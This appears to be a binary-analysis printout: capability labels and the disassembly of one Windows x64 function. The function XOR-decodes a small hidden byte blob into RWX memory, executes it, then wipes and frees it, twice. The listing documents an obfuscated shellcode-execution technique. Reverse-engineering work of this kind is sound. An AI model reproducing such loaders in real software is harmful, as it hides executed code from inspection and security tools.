Function at 0x14000ae70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x80
vmovaps xmmword [rsp + 0x70], xmm6
mov rax, qword [0x140114500]
xor rax, rsp
mov qword [rsp + 0x68], rax
vxorps xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x40], ymm0
mov dword [rsp + 0x4c], 2
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
vzeroupper
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000b1f8
mov rsi, rax
vbroadcastss xmm6, dword [0x1400a4d9c]
vxorps xmm0, xmm6, xmmword [0x140114680]
vmovss xmm1, dword [0x14011468c]
vxorps xmm1, xmm1, xmm6
vbroadcastss xmm1, xmm1
vmovsd xmm2, qword [0x140114688]
vxorps xmm2, xmm2, xmm6
vbroadcastss xmm2, xmm2
vunpcklps xmm1, xmm2, xmm1
vmovss xmm2, dword [0x140114684]
vxorps xmm2, xmm2, xmm6
vunpcklps xmm0, xmm0, xmm2
vblendps xmm0, xmm0, xmm1, 0xc
vmovaps xmmword [0x140114680], xmm0
vxorps xmm0, xmm6, xmmword [0x140114690]
vmovss dword [0x140114690], xmm0
vmovss xmm0, dword [0x140114694]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114694], xmm0
vmovsd xmm0, qword [0x140114698]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114698], xmm0
xor byte [0x14011469c], 0xfa
xor byte [0x14011469d], 0xfa
vmovups xmm0, xmmword [0x14011468e]
vmovups xmmword [rax + 0xe], xmm0
vmovaps xmm0, xmmword [0x140114680]
vmovups xmmword [rax], xmm0
vxorps xmm0, xmm6, xmmword [0x140114680]
vmovss dword [0x140114680], xmm0
vmovss xmm0, dword [0x140114684]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114684], xmm0
vmovsd xmm0, qword [0x140114688]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114688], xmm0
vmovss xmm0, dword [0x14011468c]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x14011468c], xmm0
vxorps xmm0, xmm6, xmmword [0x140114690]
vmovss dword [0x140114690], xmm0
vmovss xmm0, dword [0x140114694]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114694], xmm0
vmovsd xmm0, qword [0x140114698]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114698], xmm0
xor byte [0x14011469c], 0xfa
xor byte [0x14011469d], 0xfa
lea rcx, [rsp + 0x40]
mov edx, 1
call rax
mov ebx, eax
xor edi, edi
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rsi
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
jle 0x14000b1f8
vxorps xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x20], ymm0
mov dword [rsp + 0x2c], 4
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
vzeroupper
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000b1f8
mov rsi, rax
vxorps xmm0, xmm6, xmmword [0x140114680]
vmovss xmm1, dword [0x14011468c]
vxorps xmm1, xmm1, xmm6
vbroadcastss xmm1, xmm1
vmovsd xmm2, qword [0x140114688]
vxorps xmm2, xmm2, xmm6
vbroadcastss xmm2, xmm2
vunpcklps xmm1, xmm2, xmm1
vmovss xmm2, dword [0x140114684]
vxorps xmm2, xmm2, xmm6
vunpcklps xmm0, xmm0, xmm2
vblendps xmm0, xmm0, xmm1, 0xc
vmovaps xmmword [0x140114680], xmm0
vxorps xmm0, xmm6, xmmword [0x140114690]
vmovss dword [0x140114690], xmm0
vmovss xmm0, dword [0x140114694]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114694], xmm0
vmovsd xmm0, qword [0x140114698]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114698], xmm0
xor byte [0x14011469c], 0xfa
xor byte [0x14011469d], 0xfa
vmovups xmm0, xmmword [0x14011468e]
vmovups xmmword [rax + 0xe], xmm0
vmovaps xmm0, xmmword [0x140114680]
vmovups xmmword [rax], xmm0
vxorps xmm0, xmm6, xmmword [0x140114680]
vmovss dword [0x140114680], xmm0
vmovss xmm0, dword [0x140114684]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114684], xmm0
vmovsd xmm0, qword [0x140114688]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114688], xmm0
vmovss xmm0, dword [0x14011468c]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x14011468c], xmm0
vxorps xmm0, xmm6, xmmword [0x140114690]
vmovss dword [0x140114690], xmm0
vmovss xmm0, dword [0x140114694]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114694], xmm0
vmovsd xmm0, qword [0x140114698]
vxorps xmm0, xmm0, xmm6
vmovss dword [0x140114698], xmm0
xor byte [0x14011469c], 0xfa
xor byte [0x14011469d], 0xfa
lea rcx, [rsp + 0x20]
mov edx, 1
call rax
mov edi, eax
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rsi
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test edi, edi
setg dil
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400a1e40
mov eax, edi
vmovaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x80
pop rbx
pop rdi
pop rsi
ret